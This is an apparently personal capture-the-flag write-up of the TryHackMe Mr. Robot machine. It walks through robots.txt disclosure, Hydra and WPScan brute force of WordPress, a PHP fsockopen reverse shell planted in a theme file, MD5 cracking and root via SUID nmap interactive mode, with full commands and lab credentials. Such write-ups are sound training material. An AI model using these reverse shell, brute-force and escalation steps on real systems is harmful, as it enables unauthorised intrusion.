← Writeups
MediumLinuxHackTheBox

Mr. Robot CTF — TryHackMe Writeup (Linux, Medium)

TryHackMe Mr. Robot CTF — three flags hidden across a WordPress machine. Covers robots.txt disclosure, WordPress brute-force with a custom wordlist, reverse shell via theme editor, MD5 hash cracking, and root via SUID nmap interactive mode.

2025-11-10

// Attack Chain

robots.txt → Key 1 + fsocity.dic → Hydra username enum + WPScan brute-force → elliot → Theme Editor RCE → daemon → MD5 crack → robot (Key 2) → SUID nmap --interactive → Root (Key 3)

Attack Chain Overview

CODE
Nmap → ports 80/443 (Apache + WordPress)
        ↓
robots.txt → Key 1 + fsocity.dic wordlist
        ↓
Hydra + WPScan → brute force WordPress credentials (elliot)
        ↓
WordPress Theme Editor → PHP reverse shell in archive.php
        ↓
Shell as daemon → /home/robot/password.raw-md5
        ↓
Crack MD5 → su robot → Key 2
        ↓
SUID nmap --interactive → !sh → root
        ↓
Key 3 in /root/

Phase 1 — Reconnaissance

Nmap Scan

BASH
nmap -sV -sC --min-rate 100 10.10.66.127
CODE
PORT    STATE   SERVICE  VERSION
22/tcp  closed  ssh
80/tcp  open    http     Apache httpd
443/tcp open    ssl/http Apache httpd

Key observations:

Web Directory Enumeration

BASH
dirb http://10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127

Notable paths discovered: /wp-login, /wp-admin, /dashboard, /robots.txt. The presence of /wp-login immediately identifies this as a WordPress installation.

robots.txt — Key 1 + Wordlist

Navigating to http://10.10.66.127/robots.txt:

CODE
User-agent: *
fsocity.dic
key-1-of-3.txt

Why check robots.txt? It's a file that tells web crawlers which paths to avoid indexing. Developers sometimes accidentally list sensitive paths here. In this case, it exposed both the first flag and a custom wordlist fsocity.dic — a dictionary file themed around the Mr Robot show.

BASH
# Download the wordlist
wget http://10.10.66.127/fsocity.dic

# Check its size — likely has duplicates
wc -l fsocity.dic

🏁 Key 1 found at http://10.10.66.127/key-1-of-3.txt


Phase 2 — WordPress Credential Brute Force

Username Enumeration with Hydra

WordPress leaks whether a username is valid through different error messages:

This makes username enumeration trivial with Hydra:

BASH
hydra -L fsocity.dic -p test123 10.10.66.127 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V

Result: Username is Elliot (a character from the Mr Robot show).

Why this works: The -L flag feeds the wordlist as usernames while -p keeps the password fixed at a dummy value. We're not trying to find the password here — just confirm which username triggers the different error message.

Password Brute Force

The fsocity.dic file has many duplicates which would slow down the brute force. Sort and deduplicate first:

BASH
sort -f fsocity.dic | uniq -i > sort.txt
wc -l sort.txt   # much smaller now

Why deduplication matters: If fsocity.dic has 858,000 lines but only 11,000 unique entries, brute forcing with the original file wastes 98% of requests. Always deduplicate wordlists before brute forcing.

Now use WPScan — purpose-built for WordPress and handles rate limiting and WordPress-specific auth better than Hydra:

BASH
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt

Credentials found:

CODE
Username: elliot
Password: ER28-0652

Phase 3 — Initial Access via WordPress Theme Editor

Login to WordPress Dashboard

Navigate to http://10.10.66.127/wp-login and log in as elliot.

Inject Reverse Shell via Theme Editor

Navigate to: Appearance → Editor → archive.php

Why archive.php? WordPress theme PHP files are served directly by the web server. If you can edit a theme file and inject PHP code, triggering that file via the browser executes your code as the web server user (daemon). archive.php is a good target because it's rarely used and easy to trigger by visiting a non-existent archive URL.

Replace the entire contents of archive.php with a PHP reverse shell (generate one from revshells.com using the PHP fsockopen method):

PHP
<?php
set_time_limit(0);
$ip = 'YOUR_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Save the file, start a listener, then trigger it:

BASH
# Listener on Kali
nc -lvnp 4444

# Trigger archive.php in browser or curl
curl http://10.10.66.127/?cat=1   # any archive URL triggers archive.php

Shell received as daemon.

Upgrade the Shell

BASH
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Phase 4 — Lateral Movement to robot (Key 2)

Enumerate /home/robot

BASH
daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot && ls -la
CODE
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

key-2-of-3.txt is only readable by robot — but password.raw-md5 is world-readable. This is the path to lateral movement.

BASH
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Crack the MD5 Hash

Why MD5 is weak: MD5 produces a 128-bit hash and has no salt — meaning the same password always produces the same hash. Rainbow tables and online lookup databases like CrackStation have pre-computed hashes for billions of common passwords. This hash cracks instantly.

Submit to crackstation.net:

Hash: c3fcd3d76192e4007dfb496cca67e13b

Cracked: abcdefghijklmnopqrstuvwxyz

Switch to robot and Get Key 2

BASH
daemon@linux:/home$ su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt

🏁 Key 2 captured.


Phase 5 — Privilege Escalation to Root via SUID Nmap (Key 3)

Check sudo and SUID Binaries

BASH
sudo -l   # prompts for password — robot can't use sudo
BASH
find / -perm -4000 -type f 2>/dev/null
CODE
/bin/ping
/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap       ← NOT a default SUID binary ★
/usr/lib/openssh/ssh-keysign

Why SUID matters: The SUID (Set User ID) bit means the binary runs as its owner (often root) regardless of who executes it. If a SUID binary can be abused to spawn a shell or execute arbitrary commands, you get those commands running as root.

Why nmap SUID is suspicious: nmap has no legitimate reason to be SUID root. It's a non-default configuration — and it's a well-known GTFOBins entry.

Check Nmap Version

BASH
nmap --version
CODE
nmap version 3.81

Why the version matters: Nmap 3.81 is ancient (2005). Old versions of nmap had an --interactive mode that allowed running shell commands from within the nmap prompt. This feature was removed in newer versions precisely because it was a security risk. With SUID set, this becomes an instant root escalation.

Exploit via Interactive Mode

BASH
robot@linux:~$ nmap --interactive

Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root

Why !sh works: The ! prefix in nmap's interactive mode passes the command to /bin/sh. Since nmap is running as root (SUID), the shell spawned by !sh inherits root privileges.

Reference: GTFOBins — nmap

Get Key 3

BASH
# cd /root
# ls
key-3-of-3.txt
# cat key-3-of-3.txt

🏁 Key 3 captured. All three flags collected.


Key Commands Reference

BASH
# Recon
nmap -sV -sC --min-rate 100 10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127

# Key 1
curl http://10.10.66.127/robots.txt
wget http://10.10.66.127/fsocity.dic
curl http://10.10.66.127/key-1-of-3.txt

# Wordlist cleanup
sort -f fsocity.dic | uniq -i > sort.txt

# Username brute force
hydra -L fsocity.dic -p test123 10.10.66.127 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V

# Password brute force
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt

# Listener
nc -lvnp 4444

# Shell upgrade
python -c 'import pty; pty.spawn("/bin/bash")'

# Switch to robot
su robot   # password: abcdefghijklmnopqrstuvwxyz

# SUID enumeration
find / -perm -4000 -type f 2>/dev/null

# Nmap SUID escalation
nmap --interactive
# then: !sh

Lessons Learned

What Worked Well

What to Do Faster Next Time

Detection & Defense

How to detect this attack:

How to prevent it:


Technique Summary

StepTechniqueWhy It Worked
Key 1robots.txt disclosureDeveloper accidentally exposed flag path and wordlist
Username enumWordPress error message differenceWP leaks valid usernames via distinct login errors
Password crackHydra + WPScan brute forceCustom wordlist contained the actual password
RCEWordPress Theme EditorAdmin users can edit PHP files which execute server-side
Key 2MD5 hash crackUnsalted MD5 cracked instantly via rainbow table lookup
RootSUID nmap --interactiveAncient nmap version with interactive shell mode set SUID root
← Back to writeups